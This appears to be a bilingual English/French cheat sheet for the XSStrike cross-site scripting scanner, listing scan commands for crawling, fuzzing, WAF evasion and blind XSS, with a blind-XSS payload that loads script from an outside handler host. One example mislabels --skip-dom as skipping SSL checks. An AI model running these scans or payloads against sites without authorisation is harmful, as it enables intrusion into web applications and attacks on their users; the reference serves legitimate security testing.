XSStrike
Scanner XSS avancé avec fuzzing, analyse de contexte et contournement de WAF. Détecte le XSS réfléchi, DOM et stocké avec des payloads personnalisés et une analyse pilotée par intelligence. Advanced XSS scanner with fuzzing, context analysis, and WAF bypass. Detects reflected, DOM, and stored XSS with custom payloads and intelligence-driven analysis.
↗ https://github.com/s0md3v/XSStrikeOverview
XSStrike is an XSS detection tool that goes beyond simple payload injection. It analyzes response context, generates context-aware payloads, fuzzes for WAF bypass, and can crawl entire applications for XSS vulnerabilities. Supports reflected, DOM-based, and blind XSS testing.
Basic Usage
Test a single URL
python3 xsstrike.py -u "https://target.com/search?q=test"
Test POST parameter
python3 xsstrike.py -u "https://target.com/login" --data "username=test&password=test"
Test with cookies (authenticated scan)
python3 xsstrike.py -u "https://target.com/search?q=test" --cookies "session=abc123"
Crawling
Crawl the entire application
python3 xsstrike.py -u "https://target.com" --crawl
Set crawl depth
python3 xsstrike.py -u "https://target.com" --crawl -l 3
Crawl and test all discovered parameters
python3 xsstrike.py -u "https://target.com" --crawl --blind
DOM-based XSS
Test for DOM XSS
python3 xsstrike.py -u "https://target.com/page" --dom
Fuzzing Mode
Fuzz all parameters with all payloads
python3 xsstrike.py -u "https://target.com/search?q=test" --fuzzer
With delay to avoid WAF blocks
python3 xsstrike.py -u "https://target.com/search?q=test" --delay 2
Network Options
Through proxy (Burp)
python3 xsstrike.py -u "https://target.com/search?q=test" --proxy http://127.0.0.1:8080
Custom headers
python3 xsstrike.py -u "https://target.com/search?q=test" --headers "X-Forwarded-For: 127.0.0.1"
Skip SSL verification
python3 xsstrike.py -u "https://target.com/search?q=test" --skip-dom
Set timeout
python3 xsstrike.py -u "https://target.com/search?q=test" --timeout 10
Blind XSS
Test for blind XSS (XSS that fires in admin panel etc.)
python3 xsstrike.py -u "https://target.com/contact" --data "message=test&email=test@test.com" --blind
# Combined with a blind XSS handler (like XSS Hunter)
# Use payload: <script src="https://YOUR_XSS_HUNTER/js"></script>
Output
Verbose output
python3 xsstrike.py -u "https://target.com/search?q=test" -v
Log output
python3 xsstrike.py -u "https://target.com/search?q=test" 2>&1 | tee xss_results.txt
Tips
- XSStrike’s context analysis produces more effective payloads than generic scanners
- Always combine with manual testing — automated tools miss complex XSS chains
- Use
--crawlon single-page applications carefully — it can generate many requests - For WAF bypass, XSStrike automatically tries encoding variations; also try manual mutation
Help / Man page
python3 xsstrike.py [options]
-u URL Target URL
--data DATA POST data
--cookies COOKIES Cookies string
--headers HEADERS HTTP headers (JSON)
--proxy PROXY HTTP proxy
--fuzzer Enable fuzzer
--blind Test for blind XSS
--dom Test for DOM XSS
--crawl Crawl the website
-l N Crawl depth (default: 2)
--skip-dom Skip DOM analysis
--delay N Seconds between requests
--timeout N Request timeout
-t THREADS Concurrent threads
-v Verbose output
Vue d’ensemble
XSStrike est un outil de détection XSS qui va au-delà de la simple injection de payload. Il analyse le contexte de la réponse, génère des payloads sensibles au contexte, fuzz pour le contournement de WAF, et peut parcourir des applications entières à la recherche de vulnérabilités XSS. Prend en charge les tests XSS réfléchi, basé sur le DOM, et aveugle.
Utilisation de base
# Tester une seule URL
python3 xsstrike.py -u "https://target.com/search?q=test"
# Tester un paramètre POST
python3 xsstrike.py -u "https://target.com/login" --data "username=test&password=test"
# Tester avec des cookies (scan authentifié)
python3 xsstrike.py -u "https://target.com/search?q=test" --cookies "session=abc123"
Crawling
# Parcourir l'application entière
python3 xsstrike.py -u "https://target.com" --crawl
# Définir la profondeur de crawl
python3 xsstrike.py -u "https://target.com" --crawl -l 3
# Parcourir et tester tous les paramètres découverts
python3 xsstrike.py -u "https://target.com" --crawl --blind
XSS basé sur le DOM
Tester le XSS DOM
python3 xsstrike.py -u "https://target.com/page" --dom
Mode fuzzing
# Fuzzer tous les paramètres avec tous les payloads
python3 xsstrike.py -u "https://target.com/search?q=test" --fuzzer
# Avec un délai pour éviter les blocages WAF
python3 xsstrike.py -u "https://target.com/search?q=test" --delay 2
Options réseau
# Via un proxy (Burp)
python3 xsstrike.py -u "https://target.com/search?q=test" --proxy http://127.0.0.1:8080
# En-têtes personnalisés
python3 xsstrike.py -u "https://target.com/search?q=test" --headers "X-Forwarded-For: 127.0.0.1"
# Ignorer la vérification SSL
python3 xsstrike.py -u "https://target.com/search?q=test" --skip-dom
# Définir le timeout
python3 xsstrike.py -u "https://target.com/search?q=test" --timeout 10
XSS aveugle
Tester le XSS aveugle (XSS qui se déclenche dans un panneau d’admin, etc.)
python3 xsstrike.py -u "https://target.com/contact" --data "message=test&email=test@test.com" --blind
# Combiné avec un handler de XSS aveugle (comme XSS Hunter)
# Utiliser le payload : <script src="https://YOUR_XSS_HUNTER/js"></script>
Sortie
# Sortie verbeuse
python3 xsstrike.py -u "https://target.com/search?q=test" -v
# Journaliser la sortie
python3 xsstrike.py -u "https://target.com/search?q=test" 2>&1 | tee xss_results.txt
Conseils
- L’analyse de contexte de XSStrike produit des payloads plus efficaces que les scanners génériques
- Toujours combiner avec des tests manuels : les outils automatisés ratent les chaînes de XSS complexes
- Utiliser
--crawlsur les applications à page unique avec précaution : cela peut générer de nombreuses requêtes - Pour le contournement de WAF, XSStrike essaie automatiquement des variations d’encodage ; essayer aussi une mutation manuelle
Aide / Page de manuel
python3 xsstrike.py [options]
-u URL Target URL
--data DATA POST data
--cookies COOKIES Cookies string
--headers HEADERS HTTP headers (JSON)
--proxy PROXY HTTP proxy
--fuzzer Enable fuzzer
--blind Test for blind XSS
--dom Test for DOM XSS
--crawl Crawl the website
-l N Crawl depth (default: 2)
--skip-dom Skip DOM analysis
--delay N Seconds between requests
--timeout N Request timeout
-t THREADS Concurrent threads
-v Verbose output